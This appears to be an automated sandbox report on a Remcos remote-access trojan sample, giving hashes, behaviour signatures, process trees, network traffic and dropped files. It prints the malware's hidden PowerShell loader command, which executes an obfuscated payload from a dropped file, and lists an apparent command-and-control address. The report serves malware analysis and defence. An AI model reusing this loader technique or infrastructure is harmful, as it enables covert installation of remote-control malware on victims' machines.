Malware Analysis Report

2025-06-16 01:16

Sample ID 231207-x3hhpafh4v
Target 581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1aexe.exe
SHA256 581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1a
Tags
remcos remotehost rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1a

Threat Level: Known bad

The file 581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1aexe.exe was found to be: Known bad.

Malicious Activity Summary

remcos remotehost rat

Remcos

Loads dropped DLL

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Suspicious use of NtCreateThreadExHideFromDebugger

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious use of SendNotifyMessage

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: MapViewOfSection

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-12-07 19:22

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2023-12-07 19:22

Reported

2023-12-07 19:25

Platform

win10v2004-20231127-en

Max time kernel

150s

Max time network

155s

Command Line

"C:\Users\Admin\AppData\Local\Temp\581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1aexe.exe"

Signatures

Remcos

rat remcos

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2224 set thread context of 3172 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

Enumerates physical storage devices

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1aexe.exe

"C:\Users\Admin\AppData\Local\Temp\581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1aexe.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$genom=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Semplices\Amortisabel\sphygmomanometric.Mat';$Tintometric14=$genom.SubString(70960,3);.$Tintometric14($genom)"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 226.173.246.72.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 100.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 158.240.127.40.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 69.12.64.151:80 69.12.64.151 tcp
US 8.8.8.8:53 151.64.12.69.in-addr.arpa udp
US 172.93.187.227:2404 tcp
US 8.8.8.8:53 14.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 227.187.93.172.in-addr.arpa udp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\nsw2E40.tmp\nsExec.dll

MD5 3d366250fcf8b755fce575c75f8c79e4
SHA1 2ebac7df78154738d41aac8e27d7a0e482845c57
SHA256 8bdd996ae4778c6f829e2bcb651c55efc9ec37eeea17d259e013b39528dddbb6
SHA512 67d2d88de625227ccd2cb406b4ac3a215d1770d385c985a44e2285490f49b45f23ce64745b24444e2a0f581335fda02e913b92781043e8dfd287844435ba9094

memory/2224-13-0x00000000732A0000-0x0000000073A50000-memory.dmp

memory/2224-14-0x0000000002910000-0x0000000002920000-memory.dmp

memory/2224-15-0x0000000002920000-0x0000000002956000-memory.dmp

memory/2224-16-0x0000000002910000-0x0000000002920000-memory.dmp

memory/2224-17-0x00000000050A0000-0x00000000056C8000-memory.dmp

memory/2224-18-0x0000000004F20000-0x0000000004F42000-memory.dmp

memory/2224-19-0x0000000005880000-0x00000000058E6000-memory.dmp

memory/2224-20-0x00000000058F0000-0x0000000005956000-memory.dmp

memory/2224-21-0x00000000732A0000-0x0000000073A50000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mrqqp1lc.0ag.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2224-27-0x0000000005960000-0x0000000005CB4000-memory.dmp

memory/2224-32-0x0000000002910000-0x0000000002920000-memory.dmp

memory/2224-33-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

memory/2224-34-0x0000000005FB0000-0x0000000005FFC000-memory.dmp

memory/2224-35-0x0000000002910000-0x0000000002920000-memory.dmp

memory/2224-36-0x0000000006440000-0x00000000064D6000-memory.dmp

memory/2224-37-0x00000000063F0000-0x000000000640A000-memory.dmp

memory/2224-38-0x00000000064E0000-0x0000000006502000-memory.dmp

memory/2224-39-0x0000000007520000-0x0000000007AC4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Semplices\Amortisabel\sphygmomanometric.Mat

MD5 cc7c8241497f9e2254f2d8335aa9ed87
SHA1 23d060ec347d5b2f12eaa0484cdf7935a4ede9b7
SHA256 57cfa5abddfc948957c662c21284b8ca9c8c9d75231c31e5a8f87b3453867ffd
SHA512 534da226f2a6c8ea4b485c8517a4f4aca1ba62412f9e4e9a617b43630bb4c620058bad455c67a0a792476dc79ff4fa054fa779d2db90f3fde6dd935effa2ba73

memory/2224-41-0x0000000008150000-0x00000000087CA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Semplices\Slagt106.Dis

MD5 361a240997550ebd0b443d63119f5963
SHA1 abed050265e7b774dd1c23f750b8b865084ed0f7
SHA256 5c4b3f294087e7ffeb6632054d939cbf0d3f304450651555c969c66c7999d46a
SHA512 ad3a6d577a954a158a4181cd0f20ddc5fefece729bbc39233a02fa5539064beacfc5dd7aae47e411f457c2fbf6ec29db8c2eae3fb1a8e5dd93ec645f1f4076fc

memory/2224-44-0x00000000074C0000-0x00000000074C4000-memory.dmp

memory/2224-46-0x0000000002910000-0x0000000002920000-memory.dmp

memory/2224-48-0x00000000087D0000-0x000000000C623000-memory.dmp

memory/2224-49-0x0000000076F11000-0x0000000077031000-memory.dmp

memory/3172-50-0x0000000076F98000-0x0000000076F99000-memory.dmp

memory/3172-51-0x0000000076F11000-0x0000000077031000-memory.dmp

memory/3172-52-0x000000006E0A0000-0x000000006F2F4000-memory.dmp

memory/3172-56-0x0000000000800000-0x0000000004653000-memory.dmp

memory/2224-57-0x00000000732A0000-0x0000000073A50000-memory.dmp

memory/3172-58-0x000000006E0A0000-0x000000006F2F4000-memory.dmp

memory/3172-61-0x000000006E0A0000-0x000000006F2F4000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2023-12-07 19:22

Reported

2023-12-07 19:25

Platform

win7-20231201-en

Max time kernel

120s

Max time network

121s

Command Line

"C:\Users\Admin\AppData\Local\Temp\581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1aexe.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1aexe.exe

"C:\Users\Admin\AppData\Local\Temp\581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1aexe.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$genom=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Semplices\Amortisabel\sphygmomanometric.Mat';$Tintometric14=$genom.SubString(70960,3);.$Tintometric14($genom)"

Network

N/A

Files

\Users\Admin\AppData\Local\Temp\nst6B6.tmp\nsExec.dll

MD5 3d366250fcf8b755fce575c75f8c79e4
SHA1 2ebac7df78154738d41aac8e27d7a0e482845c57
SHA256 8bdd996ae4778c6f829e2bcb651c55efc9ec37eeea17d259e013b39528dddbb6
SHA512 67d2d88de625227ccd2cb406b4ac3a215d1770d385c985a44e2285490f49b45f23ce64745b24444e2a0f581335fda02e913b92781043e8dfd287844435ba9094

memory/2820-16-0x0000000073850000-0x0000000073DFB000-memory.dmp

memory/2820-17-0x0000000073850000-0x0000000073DFB000-memory.dmp

memory/2820-18-0x00000000028E0000-0x0000000002920000-memory.dmp

memory/2820-19-0x00000000028E0000-0x0000000002920000-memory.dmp

memory/2820-20-0x00000000028E0000-0x0000000002920000-memory.dmp

memory/2820-21-0x0000000073850000-0x0000000073DFB000-memory.dmp